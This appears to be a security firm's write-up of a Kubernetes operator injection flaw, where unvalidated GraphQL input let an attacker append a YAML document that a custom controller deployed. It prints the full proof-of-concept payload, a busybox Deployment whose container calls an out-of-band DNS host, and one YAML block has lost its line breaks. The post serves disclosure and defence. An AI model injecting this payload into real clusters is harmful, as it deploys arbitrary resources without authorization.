Intro

The Kubernetes documentation describes operators as “software extensions to Kubernetes that use custom resources to manage applications and their components.” These operators automate application resource deployment and management with custom controllers tied to one or more custom resource definitions. Custom controllers create bespoke attack surfaces that attackers can target when they can control custom resource data.

The Vulnerability

Kubernetes operator injection at the core shares similar traits as other application vulnerabilities in the injection family. Untrusted user input is processed by the controller (application), introducing the potential to confuse data for code.

Praetorian encountered one such vulnerability on a recent engagement. An application using a GraphQL API stored data as a Kubernetes custom resource and processed the data with a custom controller to deploy infrastructure. Praetorian found that the user-supplied input was not properly validated before its storage. The controller used the data to construct a YAML file representing the new infrastructure state to deploy, and deployed the infrastructure using that generated YAML file.

Exploitation

Praetorian crafted a Deployment resource to perform an out-of-band (OOB) DNS query to confirm the exploitation.

		apiVersion: apps/v1kind: Deploymentmetadata:name: praetorian-deploymentnamespace: <customize this field>labels:app: praetorianspec:replicas: 1selector:matchLabels:app: praetoriantemplate:metadata:labels:app: praetorianspec:containers:- name: praetorianimage: busybox:latestcommand:- /bin/sh- -c- nslookup <oob DNS payload>	

To use the payload within the GraphQL mutation, the newlines were replaced with \n and \n— was prepended, and —\n was appended to the payload. The — is called the Document Start Marker/Directives End Marker for YAML. This marker denotes the beginning of the document and implicitly ends the previous document in this payload, allowing the payload to establish a new context. Below is the final payload:

		\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: praetorian-deployment\n  namespace: <customize this field>\n  labels:\n    app: praetorian\nspec:\n  replicas: 1\n  selector:\n    matchLabels:\n      app: praetorian\n  template:\n    metadata:\n      labels:\n        app: praetorian\n    spec:\n      containers:\n      - name: praetorian\n        image: busybox:latest\n        command:\n        - /bin/sh\n        - -c\n        - nslookup <oob DNS payload>\n---\n	

This payload was appended to the vulnerable field in the GraphQL mutation. Once the mutation was called, the payload was executed by the controller, and the OOB DNS called home, indicating successful exploitation.

Impact

This vulnerability resulted in the deployment of arbitrary Kubernetes resources on the underlying cluster, impacting its confidentiality, integrity, and availability. This attack’s blast radius depends on the privileges granted to the controller and the sensitivity of the resources it can access and manage. The in-the-wild example Praetorian found was restricted to a specific namespace but had fairly broad privileges within that namespace and some cluster-level access due to the Roles and ClusterRoles assigned.

Recommendations

Like traditional web applications, all user-supplied should be validated before being processed by the application. Once data is stored as a custom resource, it may be acted upon by a custom controller, leading to vulnerabilities like the one described in this post. Proper threat modeling is necessary to understand the trust boundaries in an operator pattern implementation. Ensuring data is properly validated before use by downstream processors is imperative to avoiding assumptions that lead to security vulnerabilities.